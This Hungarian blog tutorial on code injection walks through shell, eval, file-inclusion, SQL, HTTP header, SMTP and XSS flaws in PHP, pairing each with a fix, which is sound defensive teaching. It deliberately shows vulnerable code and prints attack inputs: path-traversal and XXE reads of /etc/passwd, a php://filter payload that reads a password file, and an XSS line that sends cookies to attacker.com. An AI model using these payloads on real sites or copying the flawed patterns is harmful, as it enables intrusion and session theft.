Alapvető biztonság – Code Injection

Az alapvető biztonság rovatban néhány alapvető webes biztonsági kérdést szeretnék ismertetni abban a reményben, hogy a jövőben a magyar webalkalmazások valamivel biztonságosabbak lesznek. A mai cikkben a code injection-ről lesz szó.

(Ezt a cikket importáltam, eredetileg 2014-ben írtam egy programozással foglalkozó oldalra.)


Bábeli zűrzavar

Bár sokaknak nem feltétlen tűnik fel, de a webes programozásban rengeteg nyelv és adatformátum vesz részt:
  • szerver oldali operációs rendszer nyelve: UNIX Shell, Windows PowerShell, Windows Script Host nyelvek (javascript, vbscript), stb…
  • szerver oldali nyelvek: java, PHP, Perl, Python, Ruby, node.js (javascript), C# stb…
  • kliens oldali nyelvek: HTML, CSS, javascript, SVG, stb…
  • a kommunikációs csatornák protokolljai, adatformátumai: HTTP (HTTP message), WebSocket, SOAP (SOAP message), ZMTP (ZMQ message), SMTP (Email) , stb…
  • az átküldött adatformátumok és a hozzájuk kapcsolódó nyelvek: XML, XSD, XSLT, JSON, JSON-LD, RDF, XHTML, HTML5, stb…
  • adattárolással kapcsolatos formátumok, nyelvek: FileSystem path, SQL, SPARQL, stb…
  • sablonozó nyelvek: mustache, stb…
Általában ezek a nyelvek és adatformátumok egymással kapcsolatban vannak. Például a szerveren tárolt adatok alapján (SQL) a szerver oldali nyelv (PHP) generálhatja a kliens oldali nyelvek kódját (HTML, javascript) egy sima szöveges változóba és ezt egy HTTP response-ba (HTTP message, HTML content type) csomagolva elküldheti a kliensnek, ami feldolgozza. Ez kapásból legalább 4 nyelvet és 2 adatformátumot jelent egy kérés kezelésekor, de sokszor ennél még jóval többről is lehet szó.

Mi az a Code Injection?

A Code Injection egy támadási forma, ami azt használja ki, hogy többféle nyelv és adatformátum vesz részt egy-egy kérés feldolgozásában, és ezek között az adatok átvitele nem feltétlenül történik biztonságosan. A probléma gyökere, hogy szövegként fűzzük össze a generált kódot ahelyett, hogy token-enként építenénk fel azt. Nyilván így sokkal egyszerűbb, és gyorsabb a dolog, de az átküldött adatok nem feltétlenül kerülnek ellenőrzésre, és ezért a generált nyelvben írt támadó kódot is tartalmazhatnak. A generáló- és generált nyelvektől függően rengeteg támadási mód kapott külön nevet az évek során. Az 1. táblázat ezekből nyújt egy kis ízelítőt a teljesség igénye nélkül:

Generált nyelv vagy adatformátum
UNIX Shell script PHP FileSystem path MySQL HTTP message SMTP message Javascript
Generáló nyelv PHP  Shell injection Eval injection Remote file inclusion,
Local file inclusion
SQL injection Host header injection,
Session fixation,
File download injection,
Cache poisoning
SMTP command injection XSS
MySQL
procedure
Shell injection Eval injection
Javascript Eval injection
1. táblázat – Néhány nevesített Code Injection sebezhetőség LAMP alapú webalkalmazások esetében

A névtelen cellák elméletileg lehetséges, de általában nem jellemző támadási módokat jeleznek. Például egyáltalán nem valószínű, hogy a kliens oldali javascript-nek engedünk PHP kódot generálni, vagy hogy PHP helyett egy MySQL stored procedure-el generáltatunk HTML kódot, és így tovább… Ha mégis ilyesmikbe futtok bele, akkor az általában nagyon súlyos tervezési hibára utal.

Code Injection példák

Vegyük sorra az 1. táblázat-ban felsorolt: LAMP esetében és általában is gyakori, nevesített támadási módokat, hogy könnyebben felismerjük, ha egy kód sebezhető valamelyikre. Általában arról van szó, hogy ellenőrzés és/vagy kezelés nélkül emelünk be a generált kódba olyan paramétereket, amelyek a klienssel történő kommunikációból származnak. Ezek nyilván nem megbízhatóak, mert a támadó bármikor kedve szerint módosíthatja őket.

Shell injection

A generált nyelv az operációs rendszer parancssori nyelve (UNIX Shell Script). A generáló nyelv általában a szerver oldali nyelv (PHP) de a legtöbb adatbázis (MySQL) is hívhatja a parancssort bizonyos beállítások mellett. Szóval bár nem jellemző, de akár egy SQL injection sebezhetőséget kihasználva is lehetősége lehet a hacker-nek Shell injection típusú támadások kivitelezéséhez, és így az adott Linux felhasználó által végrehajtható parancsok futtatásához.
A PHP-ben elég sok függvénnyel el lehet érni a parancssort, például: exec(), popen(), stb…, ezeket a Párhuzamosítás PHP-ben című cikkben már kitárgyaltuk.
$argv_parameter = $_GET['param'];
passthru("/usr/bin/php /path/to/script.php '{$argv_parameter}' >> /path/to/log_file.log 2>&1 &");
1. példa – Shell injection sebezhetőség a felhasználótól érkező, szöveges paraméter kezelés nélküli átadása miatt

Egy Shell injection támadásnak nagyon komoly következményei vannak, végső soron a támadó akár át is veheti az uralmat a szerver gép felett, ezért kiemelten fontos, hogy védekezzünk ellene. Ezt a legtöbb tárhelyen úgy érik el, hogy teljesen letiltják a parancssor hívását PHP-ből és az adatbázis szervertől, vagy csak CRON-ból indított PHP-vel engedélyeznek ilyesmit. Ha mégis van engedélyünk a parancssor hívására, akkor először vizsgáljuk meg, hogy tényleg nincs e semmilyen más alternatívánk. Ha mindenképp használnunk kell a parancssort, akkor formailag ellenőrizzük, és/vagy kezeljük az átadott paramétereket az escapeshellarg() és az escapeshellcmd() függvényekkel, vagy az általunk használt driver megfelelő függvényével.
$argv_parameter = escapeshellarg($_GET['param']);
passthru("/usr/bin/php /path/to/script.php {$argv_parameter} >> /path/to/log_file.log 2>&1 &");
2. példa – Shell injection elleni védekezés a szöveges paraméter kezelésével

A Shell paraméterek kezelésére találtok további példákat a manual-ban.

Eval injection

Az eval injection olyan nyelvekre specifikus sebezhetőség, amelyeknél van lehetőség eval() használatára, tehát szövegként történő kód összerakásra. Az eval injection a dynamic evaluation sebezhetőség csoport része. Ezek tipikusan futás közben forduló nyelvekre jellemző sebezhetőségek, szóval például a java nagy valószínűséggel nem érintett, de a PHP és a javascript biztosan.  A PHP esetében tovább súlyosbítja a helyzetet, hogy nem csak az eval(), hanem rengeteg más függvény, illetve szerkezet is kihasználható, sokszor olyanok is, amelyekre nem is gondolnánk.
eval('$page = "' . $_GET['x'] . '";');
3. példa – Eval injection sebezhetőség a felhasználótól érkező paraméter ellenőrizetlen kódba fűzése miatt

A 3. példánál egy egyszerű eval injection sebezhetőséget láthatunk, amit nagyon könnyű lett volna kiküszöbölni egy szimpla értékeadással: $page = $_GET['x'];. Ami számomra érdekessé teszi ezt a példát, hogy éles szerveren futó spagetti kódban ténylegesen találkoztam már vele. Az ilyenek kiküszöbölésére a legegyszerűbb megoldás az eval() függvénynek és társainak a mellőzése, illetve a letiltásuk php.ini-ben disable_functions beállításával. A sablon motorok, illetve szöveg díszítő könyvtárak egy része is használhat ilyen függvényeket, ezért érdemes olyan sablon motort választanunk, amiről megbizonyosodtunk, hogy biztonságos. Például az alábbi sebezhetőség egy html2text osztályban található (HTML parsolása regex-el egyébként sem egy jó ötlet):
preg_replace('/<h[123][^>]*>(.*?)<\/h[123]>/ie', "strtoupper(\"\n\n\\1\n\n\")", $htmlToText);
4. példa – Eval injection sebezhetőség a preg_replace() függvény eval flaggel történő használata miatt

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
5. példa – Eval injection sebezhetőség a felhasználótól jövő EXIF változók nem megfelelő használata miatt

Ezeknél a példáknál az eval flag kerülése, illetve a preg_replace_callback() használata a célravezető.
preg_replace_callback(
    '/<h[123][^>]*>(.*?)<\/h[123]>/i', 
    function ($matches){
        return "\n\n".strtoupper($matches[1])."\n\n";
    },
    $htmlToText
);
6. példa – Eval injection kivédése a preg_replace() esetében

Az eval injection-ön kívül léteznek más dynamic evaluation sebezhetőségek is a PHP esetében:
foreach ($_GET as $key => $value)
    $$key = $value;
7. példa – Tetszőleges változó definiálása dynamic evaluation sebezhetőségnek köszönhetően
$myfunc = $_GET['myfunc'];
$myfunc();
8. példa – Tetszőleges függvény hívása dynamic evaluation sebezhetőségnek köszönhetően

Természetesen ezeket is érdemes messze elkerülni, hacsak nem ellenőrzött forrásból származik a dinamikusan kiértékelt változó tartalma. Például a 8. példánál lehetőségünk van egy függvény listát megadni, amiből választhatunk a felhasználó által megadott paraméterektől függően, stb…
Az eval injection a szerver oldali nyelv (PHP) esetében webszerver beállítástól függően szintén UNIX Shell Script futtatáshoz vezethet annak minden következményével. Ha erre nincs lehetősége a támadónak, akkor csak a weboldalunk felett veszi át az uralmat, így tetszőleges tartalmat feltehet arra, illetve tetszőleges számú SPAM-et küldhet a nevünkben.
Mint már említettem ez a sebezhetőség nem csak a PHP-re jellemző, a MySQL esetében SQL injection és Shell injection előszobája lehet, a javascript esetében pedig XSS támadások kivitelezésére használhatják fel.
SET @s = CONCAT('SELECT x FROM y WHERE ', param, '=1');
PREPARE stmt1 FROM @s;
EXECUTE stmt1;
9. példa – Eval injection sebezhetőség MySQL esetében

File inclusion

A file inclusion sebezhetőségeknek és következményeinek nagyon széles a tárháza. Összefoglalva közös vonás mindegyikben, hogy lehetőséget adunk a támadónak arra, hogy egy távoli vagy helyi fájlt szúrjon be a kódba. Gyarkorlatilag minden programnyelvnél, adatformátumnál előfordulhat ez a sebezhetőség, amennyiben bármilyen módon lehetőség van fájlok beszúrására. Általában két részre szokták bontani a problémát, létezik remote file inclusion, aminél távoli fájlt szúrhat be a támadó, illetve local file inclusion, aminél helyi fájlt szúrhat be. A hosszú távú hatásai mindkét sebezhetőségnek hasonlóak: tetszőleges kód futtatása, illetve a számítógép fájljainak olvasása. Szóval ez a sebezhetőség hasonlóan súlyos, mint az eval injection, és végső soron átvehető az uralom a weboldal vagy a webszerver felett a kihasználásával.
A PHP esetében a remote file inclusion egyszerűen megakadályozható az allow_url_include és az allow_url_fopen beállításával a php.ini-ben.
include("includes/" . $_GET['file'] . ".htm"); // ?file=../../../../../../../../../etc/passwd
require("config/" . $_COOKIE['pref_file'] . ".inc.php");
10. példa – File inclusion sebezhetőség PHP esetében

A local file inclusion esetében muszáj ellenőriznünk a paramétert, ami alapján a fájlnevet generáljuk. A legjobb ilyen célból egy listát csinálni az elérhető fájlokról, és a felhasználó által megadott paraméter alapján választani ebből a listából. Ha ez nem megfelelő, abban az esetben mindenképp megszorításokkal kell élni a fájlnévvel kapcsolatban, például nem tartalmazhat pontot vagy null byte-ot, és így tovább…
function isPageAllowed($page){
    $allowedPages = array('kezdolap', 'cikkek', 'hozzaszolasok', 'galeria');
    return in_array($page, $allowedPages);
}
if (isPageAllowed($_GET['page']))
    include($_GET['page'].'.php');
else
    include('404.php');
11. példa – File inclusion kivédése PHP-ben a paraméter ellenőrzésével

A PHP esetében kimondottan figyelni kell a feltöltött fájlokra ezzel kapcsolatban, mivel egy teljesen valid képfájlban is el lehet rejteni PHP kódot, amit egy local file inclusion támadással le lehet futtatni. A javascript esetében a régebbi böngészők (első sorban az Internet Explorer) content sniffing sebezhetőségét használhatják ki javascript kódot tartalmazó képfájlokkal.
echo '<script src="'.$_GET['skin'].'.js"></script>'
12. példa – Javascript file inclusion sebezhetőség PHP-ben történő HTML generálásánál

document.write('<script src="' + getQueryStringParam('skin') + '.js"></script>');
13. példa – Javascript file inclusion sebezhetőség

A PHP esetében további érdekesség, hogy egy local file inclusion sebezhetőség nem csak fájlok beszúrására használható fel, hanem azok tartalmának kiolvasására is:
/index.php?file=php://filter/convert.base64-encode/resource=config/password.php
14. példa – PHP fájl kiolvasása file inclusion sebezhetőség esetében

Mint már írtam, ez a sebezhetőség nem áll meg a programnyelvek határán. Például HTML esetében előszobája lehet egy XSS támadásnak, az XML esetében pedig szintén fájl olvasásra használható fel. A PHP esetében SimpleXML-nél alapból be van kapcsolva az external entity-k betöltése, és a libxml_disable_entity_loader() függvény hívásával kapcsolható ki. A böngészőkben futó javascript esetében már régóta tiltott az external entity-k betöltése, talán a régebbi Internet Explorer-ek esetében lehetne felhasználni őket a helyi fájlok olvasására. A probléma más programnyelveknél, pl java-nál is ugyanúgy fennállhat, mivel XML parser implementációra jellemző dologról van szó.
<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<scan>&test;</scan>
15. példa – Fájl olvasása XEE sebezhetőség kihasználásával XML fájlt tartalmazó HTTP kérések esetében

SQL injection

Az SQL injection sebezhetőség a lehető legtipikusabb code injection sebezhetőség, fórumokban minden nap lehet találkozni vele, nagyon széles az irodalma, és emiatt nincs is értelme részletesen tárgyalni. Arról van szó, hogy a relációs adatbázissal kapcsolatot tartó programnyelvben rakjuk össze szöveges formában az SQL kódot. Ha ebbe belefűzünk bármilyen paramétert, azt nyilván kezelni kell, hogy a támadó ne tudjon tetszőleges SQL kódot beszúrni a segítségével, és így kedve szerint írni vagy olvasni az adatbázist.
$name = $_GET['name'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE name='$name' AND password='$password'"
16. példa – Tipikus SQL injection sebezhetőség PHP-ben a kezeletlen paramétereknek köszönhetően

$id = mysql_real_escape_string($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
17. példa – SQL injection sebezhetőség az elmaradt aposztrófok és az elavult MySQL driver használata miatt

Az SQL injection elkerülésére mindig érdemes naprakész adatbázist és driver-t használni, illetve az ezek által biztosított prepared statement-eket, amelyeknél az adat és a végrehajtandó SQL sablon külön úton kerülnek az adatbázis szerverhez.
$sqlTemplate = 'SELECT * FROM `users` WHERE `users`.`user_id`=?';
$statement = $pdo->prepare($sqlTemplate);
$statement->execute(array($userId));
18. példa – SQL injection elleni védekezés PHP esetében

HTTP header injection

A HTTP header injection támadásokat két csoportra lehet osztani aszerint, hogy a kérésben vagy a válaszba próbál meg támadó kódot injektálni a hacker.
Az első csoport esetében a HTTP kérésben lévő, sokak által megbízhatónak tartott fejléceket írja át a támadó, amik így ellenőrizetlenül kötnek ki a válaszban vagy az adatbázisban, ezzel lehetőséget adva többféle támadás végrehajtásához. Ilyen nem biztonságos adatok többek között a cookie, a Host header, a Referer header, a User-Agent header, az IP cím, és még hosszan lehetne sorolni…

Host header injection
A Host header injection esetében a támadó a kérésben átírja a Host header tartalmát, így ha azt felhasználjuk linkek generálására, vagy location header-el történő átirányításra, akkor ezekben az URL a támadó oldalra fog mutatni. Az ilyesmit leginkább adathalászatra szokták felhasználni, például új jelszó kérésénél egy, a támadó weboldalára mutató linket tudnak küldetni a megerősítést kérő email-ben.
echo '<a href="'.$_SERVER['HTTP_HOST'].'/password-reset.php?'.$token.'">jelszó cseréje</a>';
19. példa – Host header injection sebezhetőség PHP esetében

A HTTP header injection másik csoportja esetében a HTTP válaszban lévő fejléceket, és/vagy a válasz törzsét írja át a támadó egy HTTP response splitting nevű technika segítségével. Ennek lényege, hogy a HTTP válasz fejlécét beállító függvénynek kocsi visszát (CR), és sortörést (LF) tartalmazó kódot adnak, és így teszik az általa beállított HTTP válasz részletet több sorossá. Ez egy bevett szokás injektálásos támadások esetében az injektált kód több sorossá tételére, ezért, ahol lehetőség van rá (pl: SQL injection esetében is), úgy szoktak védekezni ellene, hogy nem engedélyezik több soros parancsok végrehajtását. Nyilván ez csak részleges védelmet nyújt az injection hatásai ellen, de sokszor ez is elég, hogy megelőzzük a támadás súlyosabb formáinak a végrehajtását. A HTTP header injection esetében a támadás enyhébb formája a támadó oldalra történő átirányítás, amennyiben a location header-nél nem ellenőrizzük a paramétereket. A támadás súlyosabb (több soros) formái a session fixation, cache poisoning, file download injection stb… A probléma minden szerver oldali programnyelvnél fennállhat. A PHP esetében valahogy így nézett ki, amíg 2006-ban nem javították:
header ('Location: /content.php?lang=' . $_GET['lang']);
header ('Location: /content.php?lang=' . $_COOKIE['lang']);
header ('Location: '.$_SERVER['HTTP_HOST'].'/content.php');
20. példa – HTTP response header injection sebezhetőség régebbi PHP verziók esetében

A PHP jelenlegi verziói (4.4.2+ és 5.1.2+) nem engedik a több soros fejlécek használatát a header() és setcookie() függvényeknél, így védettek a HTTP response splitting és ezáltal a HTTP header injection súlyosabb formái ellen.
header("A: 1 \r\nB: 2"); //Warning: Header may not contain more than a single header, new line detected
21. példa – Az újabb PHP verziók védettek a HTTP response splitting ellen

Ez a PHP esetében sem volt mindig így, illetve nem áll fenn minden egyes programnyelv minden verziójára, szóval jobb tájékozódni, esetleg tesztelni, hogy az általunk használt nyelv vagy webes keretrendszer mennyire védett. Ezen kívül a felhasználótól jövő paramétereket minden esetben ellenőrizni és/vagy kezelni kell.
Session Fixation
A session fixation esetében a támadó Set-Cookie header-t szúr be a válaszba, és ezzel állítja be a felhasználó session id-jét egy általa választottra. Amennyiben bejelentkezéskor nem történik meg a session id újragenerálása, a támadó tudni fogja a session id-t, és mindenhez hozzáfér a fiókban, ahova az áldozat bejelentkezett. Általában ez csak az előszobája szokott lenni a további támadásoknak. Például, ha egy admin fiókjához hozzáfér valaki, akkor lehetősége lehet fájlokat feltölteni, és esetleg egy file inclusion sebezhetőséget kihasználva további bűncselekményeket elkövetni.

File download injection
A file download injection esetében a támadó egy Content-Disposition: attachment header-t állít be a válaszban. Ezzel együtt átírja a kiszolgált tartalmat is, az általa választott vírusra, amit az áldozat böngészője jóhiszeműen felajánl letöltésre. A vírus célbajuttatásával kapcsolatban érdekes lehet még a HTTP smuggling, ami azon alapul, hogy a több törzsű kérések vagy válaszok bizonyos részei ellenőrizetlenül átcsúszhatnak azokra nem felkészített tűzfalakon. Ez is ugyanúgy content splitting sebezhetőséget használ ki, mint a HTTP header injection, szóval a kettő teljes mértékben kombinálható.

Cache poisoning
A cache poisoning esetében a támadó átírja a válaszban a weboldal tartalmát, ami aztán bekerül a proxy cache-be, így amikor a további látogatókat a szerver a cache-ből szolgálja ki, azok jó ideig csak az átírt tartalmat fogják látni. Ez egy elég jó terepet nyújt további játszadozáshoz, mint például a jelszavak ellopásához, stb…

Mail Command injection

A mail command injection ugyanúgy, mint a HTTP header injection egy content splitting sebezhetőséget használ ki, csak ebben az esetben az elküldött email-ek fejlécében vagy törzsében. Lehetőség van vele további titkos címzettek hozzáadására vagy tetszőleges levél küldésére a weboldal nevében. Ez lehet például kéretlen reklámlevél (SPAM), vagy egy szimpla adathalász levél. A támadás kivitelezése szerver oldali nyelv, levelező keretrendszer és levelező szerver függő.

SMTP command injection

Az SMTP command injection-nél a támadó az SMTP üzenet fejlécébe vagy törzsébe injektálja a kódját, ezzel kényszerítve az SMTP szervert az általa elvárt utasítások végrehajtására.
$email = $_REQUEST['email'] ;
$subject = $_REQUEST['subject'] ;
$message = $_REQUEST['message'] ;
mail("someone@example.com", "Subject: $subject", $message, "From: $email" );
22. példa – SMTP command injection sebezhetőség a PHP mail() függvény esetében

A 22. példánál bármelyik paraméter alkalmas lehet a command injection kihasználására. A címzett, a feladó és a tárgy a levél fejlécébe kerülnek, az üzenet pedig a levél törzsébe. A fejlécek ugyanúgy, mint a HTTP esetében, a CR LF beszúrásával tehetőek több sorossá, az aktuális törzset pedig az erre lehetőséget adó szerverek esetében egy ponttal lehet megszakítani.
Az email command injection kivédése nem túl bonyolult, elég a megfelelő keretrendszer használata, ami összerakja helyettünk a fejlécet, és a választ, és eközben szűri és kezeli a paramétereket. A PHP esetében ilyen például a SwiftMailer vagy a PHPMailer. Nyilván más nyelvek esetében más eszközök elérhetőek.

XSS

Az XSS (cross site scripting), vagy nevezhetjük akár javascript injection-nek is egy, az SQL injection-höz hasonlóan széles körben ismert támadási forma. A probléma gyökere, hogy a böngészők egy SOP (same origin policy)-nek nevezett szabályt alkalmaznak. Ennek nagyon sarkítva az a lényege, hogy az example.com-ról indított kérések általában eljutnak a elpmaxe.com-ra, ott végrehajtásra is kerülnek, viszont a válaszok olvasását már letiltja a böngésző, így azok nem érkeznek vissza az example.com-hoz. Így például lehetőség van egyik domain-ről a másikra űrlapokat küldeni, vagy olyan képeket és javascriptet beszúrni egy oldalba, ami másik domain-ről való. Ez nyilván hasznos dolog, de az alapból megengedett túl nagy szabadság sajnos hátrányokkal is jár.
Ilyen hátrány például a session hijacking, ami jelen esetben a session cookie lopását jelenti, és amit a httpOnly flag beállításával akadályozunk meg mióta erre lehetőség van.
document.write('<script src="http://attacker.com/session.log?' + document.cookie + '"></script>');
23. példa – Session hijacking injektált javascript kód használatával

ini_set('session.cookie_httponly',1);
24. példa – Session cookie levédése XSS-el történő lopás ellen PHP-ben

Így bár most már jobb helyeken nem lehet XSS-el ellopni a munkamenet azonosítót, ettől függetlenül a támadó szabadon elküldhet bármilyen kérést a felhasználó nevében. Így például használhatja az áldozat böngészőjét adat halászatra. Ezt viszonylag egyszerű kiszűrni a megfelelő válasz fejlécek beállításával:
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff 
Content-Security-Policy: default-src 'self'
25. példa – Az XSS elleni védekezésben fontos HTTP válasz header-ek

A Content-Security-Policy header-t ajánlom mindenkinek figyelmébe, mivel részletesen lehet szabályozni vele, hogy milyen javascript kód fusson le az oldalon, és milyen ne. Például az inline javascript-et teljes mértékben le lehet tiltani vele.
Még ezekkel a header-ekkel sem feltétlen teljes körű a védelem. Bár az oldalak közötti kommunikáció megakadályozható velük, de az oldalon belüli garázdálkodásra még így sokszor lehetősége van a támadónak. Így például egy jelszó és email cím változtatással megszerezheti az uralmat az aktuális áldozat fiókja felett. Ennek megakadályozására kénytelenek vagyunk javascript-re szűrni a felhasználók által beküldött tartalmat. A tartalom szűrésénél, és így az XSS kivédésénél a legfőbb gondot az okozza, hogy javascript kód rengeteg féleképpen beágyazható a HTML-be, és könnyű átsiklani egy-egy ilyen megoldás felett.
?>
<div class="profile">
    <span class="user-name"><?php echo $_COOKIE['name']; ?></span>
</div><?php
26. példa – XSS sebezhetőség ellenőrizetlen paraméter HTML blokként történő beágyazása miatt

?>
<div class="profile">
    <span class="user-name"><?php echo htmlspecialchars($_COOKIE['name']); ?></span>
</div><?php
27. példa – XSS kivédése PHP-ben a htmlspecialchars() használatával

A 26. példánál látható sebezhetőség például a htmlspecialchars() használatával kiküszöbölhető, de ugyanígy megoldást jelenthet egy HTML DOM builder könyvtárral egy TextNode létrehozása, vagy a htmlspecialchars()-t automatikusan meghívó sablon motor használata. Az élet sajnos nem ennyire egyszerű, mivel egyáltalán nem szükséges a SCRIPT tag-ek használata ahhoz, hogy HTML-be javascript kódot ágyazzunk be.
Ha HTML attribútumba szeretnénk paramétert illeszteni, akkor PHP esetében szintén a htmlspecialchars()-t kell használnunk, csak más beállításokkal. Ez nem feltétlen nyújt teljes körű védelmet, úgyhogy érdemes lehet megismerkednünk a HTMLPurifier-el, ami egy HTML-t tartalmazó paraméterek XSS-re történő szűrésére kifejlesztett könyvtár. Sajnos még ez sem tökéletes fegyver, de elég közel áll hozzá…
<input value="<?php echo $entity->name; ?>" />
28. példa – XSS sebezhetőség ellenőrizetlen attribútum érték átadása miatt

<input value="<?php echo htmlspecialchars($entity->name, ENT_QUOTES, 'UTF-8'); ?>" />
29. példa – XSS részleges kivédése PHP-ben a HTML attribútumok esetében

Ha a szerver oldali nyelvből akarunk adatokat átadni a böngészőben futó javascript-nek, akkor mindig ügyeljünk arra, hogy ezeket az adatokat rendesen JSON szerializáljuk.
var a="<?php echo $text; ?>";
30. példa – XSS sebezhetőség nem JSON szerializált adatok átadása miatt

var a=<?php echo json_encode($text) ; ?>
31. példa – XSS kivédése az átadott adatok JSON szerializálásával

Ha lehetőség van linkek megadására, akkor nem elég a formai ellenőrzés, mindenképp szűrjük az URL scheme-re is őket. Például PHP esetében könnyen átcsúszhat egy javascript://foobar%0Aalert(1) a formai ellenőrzésen.
Ezen kívül még akár CSS-be is szúrhatnak be javascript kódot, vagy akár a régebbi böngészőkben a hibás content sniffing-et kihasználva is beemelhetnek javascript-et az általuk feltöltött képekből, szóval a lehetőségek tárháza szinte végtelen. Végső soron valószínűleg a Content-Security-Policy header szélesebb körben történő elterjedése fogja kiszorítani ezt a sebezhetőséget, nem pedig az újabb és újabb javascript injektálási módok szűrése.

Összefoglaló

A code injection támadások a hacker-ek által használt technikák egy elég vastag szeletét lefedik, szóval sokat tanultunk ma. Az ellenük történő védekezés is nagyon széleskörű, általában több módszert használ fel úgy, mint
  • a felhasználó által küldött tartalom szűrése és/vagy kezelése,
  • a többsoros parancsok/fejlécek megadásának tiltása,
  • a kód sablonok és adatok külön csatornán küldése,
  • a kód keretrendszerekkel történő generáltatása és
  • a kód feldolgozójánál a megfelelő biztonsági beállítások használata.
Összességében ezeket a módszereket felhasználva eredményesen tudunk védekezni az injektálásos támadások ellen, így mindenki boldog, kivéve persze a hacker-eket. :-)

Nincsenek megjegyzések:

Megjegyzés küldése